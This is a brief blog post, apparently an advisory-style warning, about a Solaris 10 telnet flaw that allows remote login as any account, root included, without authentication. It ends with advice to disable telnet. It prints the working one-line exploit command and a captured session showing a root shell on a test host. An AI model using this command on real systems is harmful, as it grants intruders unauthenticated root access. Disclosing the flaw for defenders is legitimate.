According to an article at Slashdot Solaris has a serious security flaw in telnet that allows anyone to remotely connect as any account without authentication (including root) with only a telnet client.
Riosec has a more detailed post about the vulnerability. They are using Solaris 10 update 1. Slashdoters say that on later versions of Solaris you can enable telnet at install and you can no longer log in as root.
chris@pentest:~$ telnet -l"-froot" 172.30.1.113 Trying 172.30.1.113...
Connected to 172.30.1.113.
Escape character is '^]'.
Last login: Sun Feb 11 21:31:24 from 172.30.1.202
Sun Microsystems Inc. SunOS 5.10 Generic January 2005
You have new mail.
# uname -a;id
SunOS unknown 5.10 Generic_118844-26 i86pc i386 i86pc
My advice is to disable telnet service and be careful.